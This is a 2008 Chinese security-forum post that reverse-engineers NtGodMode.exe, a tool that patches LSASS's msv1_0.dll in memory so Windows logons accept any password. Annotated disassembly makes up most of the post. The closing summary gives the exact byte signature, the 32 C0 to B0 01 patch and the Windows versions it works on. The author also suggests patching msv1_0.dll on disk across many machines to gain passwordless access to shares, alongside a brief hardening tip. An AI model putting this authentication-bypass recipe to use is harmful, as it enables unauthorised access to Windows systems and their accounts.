补天论坛 - Windows软件技术   
分页显示
返回《Windows软件技术》 快速返回
作 者

主题:NtGodMode.exe干了什么?

test_1


=一知半解=
积分:102
贴数:89
 日期:2008-6-4 23:19:25

by http://tmdnet.nothave.com

NtGodModex.exe http://www.xfocus.net/tools/200804/1272.html
NtGodMode.exe 9.00 KB (9,216 字节) UPX壳,直接用Ollydbg脱壳,过程略
NtGodMode~.exe 120 KB (123,392 字节) 用PE工具查看,delphi写的

00403220 >  55              PUSH EBP
00403221    8BEC            MOV EBP,ESP
00403223    B9 0D000000     MOV ECX,0D
00403228    6A 00           PUSH 0
0040322A    6A 00           PUSH 0
0040322C    49              DEC ECX
0040322D  ^ 75 F9           JNZ SHORT NtGodMod.00403228
0040322F    51              PUSH ECX
00403230    53              PUSH EBX
00403231    56              PUSH ESI
00403232    57              PUSH EDI
00403233    A1 9C404000     MOV EAX,DWORD PTR DS:[40409C]
00403238    C600 01         MOV BYTE PTR DS:[EAX],1
0040323B    B8 C0314000     MOV EAX,NtGodMod.004031C0
00403240    E8 13EEFFFF     CALL NtGodMod.00402058     //获取自身进程的句柄(基地址)
00403245    BB 60574000     MOV EBX,NtGodMod.00405760
0040324A    33C0            XOR EAX,EAX
0040324C    55              PUSH EBP
0040324D    68 80384000     PUSH NtGodMod.00403880
00403252    64:FF30         PUSH DWORD PTR FS:[EAX]
00403255    64:8920         MOV DWORD PTR FS:[EAX],ESP
00403258    E8 1BF2FFFF     CALL NtGodMod.00402478
0040325D    48              DEC EAX
0040325E    7D 61           JGE SHORT NtGodMod.004032C1  // ->>004032C1
00403260    E8 4FFEFFFF     CALL NtGodMod.004030B4
00403265    68 98384000     PUSH NtGodMod.00403898                                          ; ASCII "Usage: "
0040326A    8D55 E4         LEA EDX,DWORD PTR SS:[EBP-1C]
0040326D    33C0            XOR EAX,EAX
0040326F    E8 F8F0FFFF     CALL NtGodMod.0040236C
00403274    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00403277    8D55 E8         LEA EDX,DWORD PTR SS:[EBP-18]
0040327A    E8 11F4FFFF     CALL NtGodMod.00402690
0040327F    FF75 E8         PUSH DWORD PTR SS:[EBP-18]
00403282    68 A8384000     PUSH NtGodMod.004038A8                                          ; ASCII " ON|OFF"
00403287    8D45 EC         LEA EAX,DWORD PTR SS:[EBP-14]
0040328A    BA 03000000     MOV EDX,3
0040328F    E8 70E9FFFF     CALL NtGodMod.00401C04

///////////////////////////////////////////////////////////////////////////////////////////////////
004032C1    A1 8C404000     MOV EAX,DWORD PTR DS:[40408C]
004032C6    E8 61EAFFFF     CALL NtGodMod.00401D2C
004032CB    50              PUSH EAX    //msv1_0.dll
004032CC    E8 BFEEFFFF     CALL <JMP.&kernel32.LoadLibraryA>   //LoadLibrary("msv1_0.dll")
004032D1    A3 4C574000     MOV DWORD PTR DS:[40574C],EAX       //保存msv1_0.dll基地址
004032D6    833D 4C574000 0>CMP DWORD PTR DS:[40574C],0
004032DD    0F84 82050000   JE NtGodMod.00403865
004032E3    33C0            XOR EAX,EAX
004032E5    A3 50574000     MOV DWORD PTR DS:[405750],EAX
004032EA    A1 4C574000     MOV EAX,DWORD PTR DS:[40574C]
004032EF    8903            MOV DWORD PTR DS:[EBX],EAX
004032F1    33C0            XOR EAX,EAX
004032F3    55              PUSH EBP
004032F4    68 50334000     PUSH NtGodMod.00403350
004032F9    64:FF30         PUSH DWORD PTR FS:[EAX]
004032FC    64:8920         MOV DWORD PTR FS:[EAX],ESP
004032FF    8B03            MOV EAX,DWORD PTR DS:[EBX]          //msv1_0.dll基地址
00403301    8038 8B         CMP BYTE PTR DS:[EAX],8B
00403304    75 1C           JNZ SHORT NtGodMod.00403322
00403306    8B03            MOV EAX,DWORD PTR DS:[EBX]
00403308    40              INC EAX
00403309    8038 4D         CMP BYTE PTR DS:[EAX],4D
0040330C    75 14           JNZ SHORT NtGodMod.00403322
0040330E    8B03            MOV EAX,DWORD PTR DS:[EBX]
00403310    83C0 02         ADD EAX,2
00403313    8038 0C         CMP BYTE PTR DS:[EAX],0C
00403316    75 0A           JNZ SHORT NtGodMod.00403322
00403318    8B03            MOV EAX,DWORD PTR DS:[EBX]
0040331A    83C0 03         ADD EAX,3
0040331D    8038 49         CMP BYTE PTR DS:[EAX],49            //在msv1_0.dll空间里找8B 4D 0C 49,这个特征值
00403320    74 04           JE SHORT NtGodMod.00403326          //如果找到则继续在后面的空间里找 32 C0
00403322    FF03            INC DWORD PTR DS:[EBX]
00403324  ^ EB D9           JMP SHORT NtGodMod.004032FF
00403326    8B03            MOV EAX,DWORD PTR DS:[EBX]
00403328    8038 32         CMP BYTE PTR DS:[EAX],32
0040332B    75 11           JNZ SHORT NtGodMod.0040333E
0040332D    8B03            MOV EAX,DWORD PTR DS:[EBX]
0040332F    40              INC EAX
00403330    8038 C0         CMP BYTE PTR DS:[EAX],0C0
00403333    75 09           JNZ SHORT NtGodMod.0040333E
00403335    8B03            MOV EAX,DWORD PTR DS:[EBX]
00403337    A3 50574000     MOV DWORD PTR DS:[405750],EAX        //保存找的地址[405750]
0040333C    EB 04           JMP SHORT NtGodMod.00403342         
0040333E    FF03            INC DWORD PTR DS:[EBX]               //指针加1
00403340  ^ EB E4           JMP SHORT NtGodMod.00403326
00403342    33C0            XOR EAX,EAX
00403344    5A              POP EDX
00403345    59              POP ECX
00403346    59              POP ECX
00403347    64:8910         MOV DWORD PTR FS:[EAX],EDX
0040334A    68 57334000     PUSH NtGodMod.00403357
0040334F    C3              RETN


00403357    A1 50574000     MOV EAX,DWORD PTR DS:[405750]      
0040335C    2B05 4C574000   SUB EAX,DWORD PTR DS:[40574C]       //上面找到的地址=msv1_0.dll基地址,得到特征值的偏移
00403362    A3 50574000     MOV DWORD PTR DS:[405750],EAX       //offset ->[405750]
00403367    A1 4C574000     MOV EAX,DWORD PTR DS:[40574C]
0040336C    50              PUSH EAX
0040336D    E8 E6EDFFFF     CALL <JMP.&kernel32.FreeLibrary>
00403372    C605 9C584000 0>MOV BYTE PTR DS:[40589C],0
00403379    C605 91584000 0>MOV BYTE PTR DS:[405891],0
00403380    C605 9D584000 0>MOV BYTE PTR DS:[40589D],0
00403387    E8 28FDFFFF     CALL NtGodMod.004030B4              //显示作者信息
0040338C    8D55 DC         LEA EDX,DWORD PTR SS:[EBP-24]
0040338F    B8 02000000     MOV EAX,2
00403394    E8 D3EFFFFF     CALL NtGodMod.0040236C
.
.
.
/////////////////////////////////////////////////////////////////////////////////////////////
//提升自身权限为调试权限
http://tmdnet.nothave.com/tmp/NtGodMode.txt

00402F1C    53              PUSH EBX                                                        ; NtGodMod.00405760
00402F1D    83C4 E8         ADD ESP,-18
00402F20    33DB            XOR EBX,EBX
00402F22    54              PUSH ESP
00402F23    6A 28           PUSH 28
00402F25    E8 3EF2FFFF     CALL <JMP.&kernel32.GetCurrentProcess>
00402F2A    50              PUSH EAX
00402F2B    E8 F8F1FFFF     CALL <JMP.&advapi32.OpenProcessToken>
00402F30    8D4424 0C       LEA EAX,DWORD PTR SS:[ESP+C]
00402F34    50              PUSH EAX
00402F35    68 7C2F4000     PUSH NtGodMod.00402F7C                                          ; ASCII "SeDebugPrivilege"
00402F3A    6A 00           PUSH 0
00402F3C    E8 DFF1FFFF     CALL <JMP.&advapi32.LookupPrivilegeValueA>
00402F41    85C0            TEST EAX,EAX
00402F43    74 30           JE SHORT NtGodMod.00402F75
00402F45    C74424 08 01000>MOV DWORD PTR SS:[ESP+8],1
00402F4D    C74424 14 02000>MOV DWORD PTR SS:[ESP+14],2
00402F55    8D4424 04       LEA EAX,DWORD PTR SS:[ESP+4]
00402F59    50              PUSH EAX
00402F5A    6A 00           PUSH 0
00402F5C    6A 10           PUSH 10
00402F5E    8D4424 14       LEA EAX,DWORD PTR SS:[ESP+14]
00402F62    50              PUSH EAX
00402F63    6A 00           PUSH 0
00402F65    8B4424 14       MOV EAX,DWORD PTR SS:[ESP+14]
00402F69    50              PUSH EAX
00402F6A    E8 A9F1FFFF     CALL <JMP.&advapi32.AdjustTokenPrivileges>
00402F6F    83F8 01         CMP EAX,1
00402F72    1BDB            SBB EBX,EBX
00402F74    43              INC EBX
00402F75    8BC3            MOV EAX,EBX
00402F77    83C4 18         ADD ESP,18
00402F7A    5B              POP EBX
00402F7B    C3              RETN
///////////////////////////////////////////////////////////////////////////////////////////////
.
.              //这段为通过进程名获取PID(LSASS.EXE) 太长 略...
.
///////////////////////////////////////////////////////////////////////////////////////////////
http://tmdnet.nothave.com/tmp/NtGodMode.txt

0040358A    50              PUSH EAX                       
0040358B    6A 00           PUSH 0                         
0040358D    68 FF0F1F00     PUSH 1F0FFF
00403592    E8 01ECFFFF     CALL <JMP.&kernel32.OpenProcess>//打开%systemroot%\system32\LSASS.EXE进程
00403597    8BF0            MOV ESI,EAX
00403599    85F6            TEST ESI,ESI
0040359B    75 1E           JNZ SHORT NtGodMod.004035BB
0040359D    A1 98404000     MOV EAX,DWORD PTR DS:[404098]
004035A2    BA 10394000     MOV EDX,NtGodMod.00403910                                       ; ASCII "Sorry. I can‘t DO more."
004035A7    E8 78E8FFFF     CALL NtGodMod.00401E24
004035AC    E8 6FE1FFFF     CALL NtGodMod.00401720
004035B1    E8 3EDCFFFF     CALL NtGodMod.004011F4
004035B6    E9 AA020000     JMP NtGodMod.00403865
004035BB    B8 A0584000     MOV EAX,NtGodMod.004058A0
004035C0    BA 00000100     MOV EDX,10000                                                  
004035C5    E8 0EECFFFF     CALL NtGodMod.004021D8
004035CA    68 A0584100     PUSH NtGodMod.004158A0
004035CF    BA A0584000     MOV EDX,NtGodMod.004058A0
004035D4    B9 00000100     MOV ECX,10000                                                  
004035D9    8BC6            MOV EAX,ESI
004035DB    E8 A4F8FFFF     CALL NtGodMod.00402E84
004035E0    8B3D A0584100   MOV EDI,DWORD PTR DS:[4158A0]
004035E6    4F              DEC EDI
004035E7    85FF            TEST EDI,EDI
004035E9    0F82 D6000000   JB NtGodMod.004036C5
004035EF    47              INC EDI
004035F0    C705 58574000 0>MOV DWORD PTR DS:[405758],0
004035FA    BB A0584000     MOV EBX,NtGodMod.004058A0
004035FF    833B 00         CMP DWORD PTR DS:[EBX],0
00403602    0F84 BD000000   JE NtGodMod.004036C5
00403608    C705 A4584100 C>MOV DWORD PTR DS:[4158A4],0C8
00403612    A1 A4584100     MOV EAX,DWORD PTR DS:[4158A4]
00403617    50              PUSH EAX
00403618    B9 A8584100     MOV ECX,NtGodMod.004158A8
0040361D    8B13            MOV EDX,DWORD PTR DS:[EBX]
0040361F    8BC6            MOV EAX,ESI
00403621    E8 8EF8FFFF     CALL NtGodMod.00402EB4
///////////////////////////////////////////////////////////////////////////////////////////////////
http://tmdnet.nothave.com/tmp/NtGodMode.txt


00403732    68 5C574000     PUSH NtGodMod.0040575C
00403737    6A 40           PUSH 40
00403739    6A 02           PUSH 2
0040373B    A1 50574000     MOV EAX,DWORD PTR DS:[405750]
00403740    50              PUSH EAX
00403741    56              PUSH ESI
00403742    E8 79EAFFFF     CALL <JMP.&kernel32.VirtualProtectEx>
00403747    68 98584000     PUSH NtGodMod.00405898
0040374C    6A 02           PUSH 2
0040374E    68 90404000     PUSH NtGodMod.00404090
00403753    A1 50574000     MOV EAX,DWORD PTR DS:[405750]
00403758    50              PUSH EAX
00403759    56              PUSH ESI
0040375A    E8 69EAFFFF     CALL <JMP.&kernel32.WriteProcessMemory>    //32C0 xor al,al修改为B001 mov al,1
0040375F    B0 04           MOV AL,4
00403761    E8 DEEFFFFF     CALL NtGodMod.00402744
00403766    A1 98404000     MOV EAX,DWORD PTR DS:[404098]
0040376B    BA 70394000     MOV EDX,NtGodMod.00403970                        ; ASCII "Open God Mode!"
00403770    E8 AFE6FFFF     CALL NtGodMod.00401E24
00403775    E8 A6DFFFFF     CALL NtGodMod.00401720
0040377A    E8 75DAFFFF     CALL NtGodMod.004011F4
0040377F    33C0            XOR EAX,EAX
00403781    E8 BEEFFFFF     CALL NtGodMod.00402744
00403786    EB 54           JMP SHORT NtGodMod.004037DC
00403788    68 5C574000     PUSH NtGodMod.0040575C
0040378D    6A 40           PUSH 40
0040378F    6A 02           PUSH 2
00403791    A1 50574000     MOV EAX,DWORD PTR DS:[405750]
00403796    50              PUSH EAX
00403797    56              PUSH ESI
00403798    E8 23EAFFFF     CALL <JMP.&kernel32.VirtualProtectEx>
0040379D    68 98584000     PUSH NtGodMod.00405898
004037A2    6A 02           PUSH 2
004037A4    68 94404000     PUSH NtGodMod.00404094
004037A9    A1 50574000     MOV EAX,DWORD PTR DS:[405750]
004037AE    50              PUSH EAX
004037AF    56              PUSH ESI
004037B0    E8 13EAFFFF     CALL <JMP.&kernel32.WriteProcessMemory>
004037B5    B0 07           MOV AL,7
004037B7    E8 88EFFFFF     CALL NtGodMod.00402744
004037BC    A1 98404000     MOV EAX,DWORD PTR DS:[404098]
004037C1    BA 88394000     MOV EDX,NtGodMod.00403988                        ; ASCII "Close God Mode!"
004037C6    E8 59E6FFFF     CALL NtGodMod.00401E24
004037CB    E8 50DFFFFF     CALL NtGodMod.00401720
004037D0    E8 1FDAFFFF     CALL NtGodMod.004011F4
004037D5    33C0            XOR EAX,EAX
004037D7    E8 68EFFFFF     CALL NtGodMod.00402744
004037DC    6A 00           PUSH 0
004037DE    6A 00           PUSH 0
004037E0    56              PUSH ESI
004037E1    E8 6AE9FFFF     CALL <JMP.&kernel32.FlushInstructionCache>


小结
NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0
这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1
为什么mov al,1,以后就不用密码了?有兴趣的同学可以装个虚拟机,调下LSASS.EXE
这个程序在我自己的机器win2k sp4上,不起作用,我跟了一下,主要是搜索的上面的哪个特征值它不是通用的,修改错了地方
xp sp2 xp sp3都起作用。
另外想让自己机器免疫这个东西的话, 其实也很简单控制面板->管理工具->本地安全策略->本地策略->用户权利指派->调试程序
里面有个admin用户,删除了以后,因为这个程序提升自身权限的代码,很老,很差,很弱小,会失效
其实这个东西要这样用,通过编程的方法,关掉系统的文件保护,直接改msv1_0.dll这个PE文件,这样机器不用密码了,然后要是很多机器的话访问共享文件也方便,计算机应该以为本。

最后说一句delphi写的东西是不行,垃圾太多~!!

http://tmdnet.nothave.com/tmp/NtGodMode.txt





新补天网  新补天网讨论版
返回《Windows软件技术》 快速返回


 

如果您想发帖,请先注册或登录


Copyright © 2006 Patching.net All rights reserved.